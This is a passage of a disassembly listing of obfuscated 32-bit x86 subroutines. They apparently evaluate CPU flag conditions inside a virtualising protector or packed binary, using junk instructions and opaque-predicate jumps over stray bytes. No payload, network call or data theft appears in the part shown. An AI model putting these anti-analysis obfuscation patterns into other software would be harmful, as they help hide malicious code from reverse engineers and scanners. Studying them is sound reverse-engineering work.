call off_4F1D3C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499022 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49910F proc near ; DATA XREF: sub_4965D8+159Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1E00h
pop ebx
jo short loc_499145
jl short loc_499143
loc_49913E: ; CODE XREF: sub_49910F:loc_499143j
; sub_49910F:loc_499145j
jmp short loc_499147
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_499143: ; CODE XREF: sub_49910F+2Dj
jz short loc_49913E
loc_499145: ; CODE XREF: sub_49910F+2Bj
jmp short loc_49913E
; ---------------------------------------------------------------------------
loc_499147: ; CODE XREF: sub_49910F:loc_49913Ej
sub bh, 2
sub bh, 3
push eax
dec bh
dec bh
jo short loc_49915B
jl short loc_499159
loc_499156: ; CODE XREF: sub_49910F:loc_499159j
; sub_49910F:loc_49915Bj
jmp short loc_49915D
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_499159: ; CODE XREF: sub_49910F+45j
jz short loc_499156
loc_49915B: ; CODE XREF: sub_49910F+43j
jmp short loc_499156
; ---------------------------------------------------------------------------
loc_49915D: ; CODE XREF: sub_49910F:loc_499156j
and eax, 800h
dec bh
sub bh, 14h
sub bh, 2
pop eax
dec bh
inc bh
and ah, bh
mov edx, 13h
dec dl
dec dl
sub dl, 1
dec dl
sub dl, 9
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4991B3
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4991B3: ; CODE XREF: sub_49910F+99j
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49910F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4991C7 proc near ; DATA XREF: sub_4965D8+D4Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4Bh
not ecx
bswap eax
not ecx
xor ecx, 19h
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 12h
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0E00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3D8
xor ecx, dword_4ED3DC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499272
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499272: ; CODE XREF: sub_4991C7+A0j
mov eax, [ebp+var_8]
push eax
call off_4F1D30
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4991C7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499286 proc near ; DATA XREF: sub_4965D8+A1o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, 0FFFFh
and eax, 800h
push ecx
mov ch, 41h
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
dec edi
xor edx, edx
or ebx, edx
jz short loc_4992C6
dec edi
and eax, 0
jmp short loc_4992CE
; ---------------------------------------------------------------------------
loc_4992C6: ; CODE XREF: sub_499286+38j
dec edi
dec ecx
and eax, 0
dec ecx
dec edx
inc eax
loc_4992CE: ; CODE XREF: sub_499286+3Ej
mov [ebp+var_8], eax
mov eax, dword_4ED408
xor eax, dword_4ED40C
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_4992F0
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_4992F0: ; CODE XREF: sub_499286+5Fj
mov edx, [ebp+var_4]
push edx
call off_4F1D60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499286 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499304 proc near ; DATA XREF: sub_4965D8+FAFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_499357
not eax
add eax, 1
stc
jmp short loc_49935D
; ---------------------------------------------------------------------------
loc_499357: ; CODE XREF: sub_499304+49j
not eax
add eax, 1
clc
loc_49935D: ; CODE XREF: sub_499304+51j
sbb eax, eax
add eax, 1
mov [ebp+var_C], eax
mov ecx, dword_4ED404
xor ecx, dword_4ED408
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499385
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499385: ; CODE XREF: sub_499304+76j
mov eax, [ebp+var_8]
push eax
call off_4F1D5C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499304 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499399 proc near ; DATA XREF: sub_4965D8+333o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 5
dec bh
dec bh
dec bh
dec bh
dec bh
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 41h
sub bl, 5
dec bl
dec bl
dec bl
and eax, 0
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
inc eax
dec bl
dec bl
not bx
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499418
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499418: ; CODE XREF: sub_499399+74j
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499399 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49942C proc near ; DATA XREF: sub_4965D8+107Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
jmp short loc_49948B
; ---------------------------------------------------------------------------
and eax, 1
loc_49948B: ; CODE XREF: sub_49942C+5Aj
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 3
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4994EE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4994EE: ; CODE XREF: sub_49942C+B7j
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49942C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499502 proc near ; DATA XREF: sub_4965D8+F81o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_49952B
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_49952B: ; CODE XREF: sub_499502+22j
mov ebx, 72h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499575
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499575: ; CODE XREF: sub_499502+68j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499502 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499589 proc near ; DATA XREF: sub_4965D8+12B1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Eh
pop ebx
sub bl, 6
dec bl
push eax
dec bl
dec bl
and eax, 80h
dec bl
sub bl, 2
dec bl
pop eax
dec bl
and al, bl
mov edx, 2400h
dec dh
sub dh, 3
dec dh
sub dh, 16h
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49960A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49960A: ; CODE XREF: sub_499589+76j
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499589 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49961E proc near ; DATA XREF: sub_4965D8+83Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_499647
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_499647: ; CODE XREF: sub_49961E+22j
mov ebx, 72h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_49969A
jl short loc_499698
loc_499695: ; CODE XREF: sub_49961E:loc_499698j
; sub_49961E:loc_49969Aj
jmp short loc_49969C
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_499698: ; CODE XREF: sub_49961E+75j
jz short loc_499695
loc_49969A: ; CODE XREF: sub_49961E+73j
jmp short loc_499695
; ---------------------------------------------------------------------------
loc_49969C: ; CODE XREF: sub_49961E:loc_499695j
cmp eax, edx
jo short loc_4996A7
jl short loc_4996A5
loc_4996A2: ; CODE XREF: sub_49961E:loc_4996A5j
; sub_49961E:loc_4996A7j
jmp short loc_4996A9
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4996A5: ; CODE XREF: sub_49961E+82j
jz short loc_4996A2
loc_4996A7: ; CODE XREF: sub_49961E+80j
jmp short loc_4996A2
; ---------------------------------------------------------------------------
loc_4996A9: ; CODE XREF: sub_49961E:loc_4996A2j
jnz short loc_4996BB
jo short loc_4996B4
jl short loc_4996B2
loc_4996AF: ; CODE XREF: sub_49961E:loc_4996B2j
; sub_49961E:loc_4996B4j
jmp short loc_4996B6
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4996B2: ; CODE XREF: sub_49961E+8Fj
jz short loc_4996AF
loc_4996B4: ; CODE XREF: sub_49961E+8Dj
jmp short loc_4996AF
; ---------------------------------------------------------------------------
loc_4996B6: ; CODE XREF: sub_49961E:loc_4996AFj
and eax, 0
jmp short loc_4996CA
; ---------------------------------------------------------------------------
loc_4996BB: ; CODE XREF: sub_49961E:loc_4996A9j
and eax, 0
jo short loc_4996C7
jl short loc_4996C5
loc_4996C2: ; CODE XREF: sub_49961E:loc_4996C5j
; sub_49961E:loc_4996C7j
jmp short loc_4996C9
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4996C5: ; CODE XREF: sub_49961E+A2j
jz short loc_4996C2
loc_4996C7: ; CODE XREF: sub_49961E+A0j
jmp short loc_4996C2
; ---------------------------------------------------------------------------
loc_4996C9: ; CODE XREF: sub_49961E:loc_4996C2j
inc eax
loc_4996CA: ; CODE XREF: sub_49961E+9Bj
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4996ED
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4996ED: ; CODE XREF: sub_49961E+C4j
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49961E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499701 proc near ; DATA XREF: sub_4965D8+DE9o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 52h
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
sub ecx, 6
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Ch
inc ecx
inc cl
inc cl
add ecx, 0Fh
inc cl
inc cl
add cl, 2
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
sub ecx, edx
dec ecx
pop edx
bswap eax
sub ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499799
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499799: ; CODE XREF: sub_499701+8Dj
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499701 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4997AD proc near ; DATA XREF: sub_4965D8+1103o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
pop ebx
pop edx
test eax, eax
jnz loc_499907
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_499891
jl short loc_49988F
loc_49988A: ; CODE XREF: sub_4997AD:loc_49988Fj
; sub_4997AD:loc_499891j
jmp short loc_499893
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49988F: ; CODE XREF: sub_4997AD+DBj
jz short loc_49988A
loc_499891: ; CODE XREF: sub_4997AD+D9j
jmp short loc_49988A
; ---------------------------------------------------------------------------
loc_499893: ; CODE XREF: sub_4997AD:loc_49988Aj
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_4998A6
jl short loc_4998A4
loc_4998A1: ; CODE XREF: sub_4997AD:loc_4998A4j
; sub_4997AD:loc_4998A6j
jmp short loc_4998A8
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4998A4: ; CODE XREF: sub_4997AD+F2j
jz short loc_4998A1
loc_4998A6: ; CODE XREF: sub_4997AD+F0j
jmp short loc_4998A1
; ---------------------------------------------------------------------------
loc_4998A8: ; CODE XREF: sub_4997AD:loc_4998A1j
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_4998DC
jl short loc_4998DA
loc_4998D5: ; CODE XREF: sub_4997AD:loc_4998DAj
; sub_4997AD:loc_4998DCj
jmp short loc_4998DE
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4998DA: ; CODE XREF: sub_4997AD+126j
jz short loc_4998D5
loc_4998DC: ; CODE XREF: sub_4997AD+124j
jmp short loc_4998D5
; ---------------------------------------------------------------------------
loc_4998DE: ; CODE XREF: sub_4997AD:loc_4998D5j
inc eax
dec eax
jo short loc_4998EB
jl short loc_4998E9
loc_4998E4: ; CODE XREF: sub_4997AD:loc_4998E9j
; sub_4997AD:loc_4998EBj
jmp short loc_4998ED
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4998E9: ; CODE XREF: sub_4997AD+135j
jz short loc_4998E4
loc_4998EB: ; CODE XREF: sub_4997AD+133j
jmp short loc_4998E4
; ---------------------------------------------------------------------------
loc_4998ED: ; CODE XREF: sub_4997AD:loc_4998E4j
inc eax
dec eax
inc eax
dec eax
jo short loc_4998FA
jl short loc_4998F8
loc_4998F5: ; CODE XREF: sub_4997AD:loc_4998F8j
; sub_4997AD:loc_4998FAj
jmp short loc_4998FC
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4998F8: ; CODE XREF: sub_4997AD+146j
jz short loc_4998F5
loc_4998FA: ; CODE XREF: sub_4997AD+144j
jmp short loc_4998F5
; ---------------------------------------------------------------------------
loc_4998FC: ; CODE XREF: sub_4997AD:loc_4998F5j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_499907
and eax, 0
jmp short loc_49990B
; ---------------------------------------------------------------------------
loc_499907: ; CODE XREF: sub_4997AD+6Dj
; sub_4997AD+153j
and eax, 0
inc eax
loc_49990B: ; CODE XREF: sub_4997AD+158j
mov [ebp+var_C], eax
mov ecx, dword_4ED418
xor ecx, dword_4ED41C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49992E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49992E: ; CODE XREF: sub_4997AD+176j
mov eax, [ebp+var_8]
push eax
call off_4F1D70
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4997AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499942 proc near ; DATA XREF: sub_4965D8+10A8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ch
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
and eax, 0
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
and ecx, 40h
inc cl
inc cl
inc cl
inc cl
inc cl
inc cl
inc cl
inc eax
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
pop ecx
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4999D1
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4999D1: ; CODE XREF: sub_499942+84j
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499942 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4999E5 proc near ; DATA XREF: sub_4965D8+470o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
sub dh, 1
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
jo short loc_499AB6
jl short loc_499AB4
loc_499AB1: ; CODE XREF: sub_4999E5:loc_499AB4j
; sub_4999E5:loc_499AB6j
jmp short loc_499AB8
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_499AB4: ; CODE XREF: sub_4999E5+CAj
jz short loc_499AB1
loc_499AB6: ; CODE XREF: sub_4999E5+C8j
jmp short loc_499AB1
; ---------------------------------------------------------------------------
loc_499AB8: ; CODE XREF: sub_4999E5:loc_499AB1j
setnz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED408
xor ecx, dword_4ED40C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_499AE0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_499AE0: ; CODE XREF: sub_4999E5+F0j
mov eax, [ebp+var_8]
push eax
call off_4F1D60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4999E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499AF4 proc near ; DATA XREF: sub_4965D8+7CDo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
inc ebx
inc ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 10h
dec ch
dec ch
sub ch, 11h
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
xor edx, edx
or ebx, edx
jz short loc_499B3A
dec edi
and eax, 0
jmp short loc_499B41
; ---------------------------------------------------------------------------
loc_499B3A: ; CODE XREF: sub_499AF4+3Ej
dec edi
and eax, 0
dec edi
dec edi
inc eax
loc_499B41: ; CODE XREF: sub_499AF4+44j
mov [ebp+var_8], eax
mov eax, dword_4ED400
xor eax, dword_4ED404
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_499B63
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_499B63: ; CODE XREF: sub_499AF4+64j
mov edx, [ebp+var_4]
push edx
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_499AF4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_499B77 proc near ; DATA XREF: sub_4965D8+5F1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 3
jo short loc_499BA8
jl short loc_499BA6
loc_499BA3: ; CODE XREF: sub_499B77:loc_499BA6j
; sub_499B77:loc_499BA8j
jmp short loc_499BAA
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_499BA6: ; CODE XREF: sub_499B77+2Aj
jz short loc_499BA3
loc_499BA8: ; CODE XREF: sub_499B77+28j
jmp short loc_499BA3
; ---------------------------------------------------------------------------
loc_499BAA: ; CODE XREF: sub_499B77:loc_499BA3j
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
sub bl, 1Eh
not bx
bswap eax
not bx
bswap eax
